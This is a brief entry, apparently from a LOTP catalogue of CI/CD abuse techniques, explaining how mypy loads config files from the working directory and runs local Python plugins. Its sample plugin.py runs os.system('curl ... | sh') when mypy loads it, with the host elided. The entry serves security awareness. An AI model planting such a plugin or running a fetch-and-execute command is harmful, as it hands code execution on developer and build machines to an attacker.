LOTP

mypy

cli eval-sh

References

Mypy is an static type checker for Python. Mypy loads a text configuration from the current working directory in the following order of precedence:

  1. ./mypy.ini
  2. ./.mypy.ini
  3. ./pyproject.toml (the config is nested in tool.mypy)
  4. ./setup.cfg

The configuration can define plugins that are written in Python. The plugins can be defined in a local file.

Sample mypy.ini config:

[mypy]
plugins = ./plugin.py
# plugin.py
import os
from mypy.plugin import Plugin

def plugin(_):
    os.system('curl ... | sh')
    return Plugin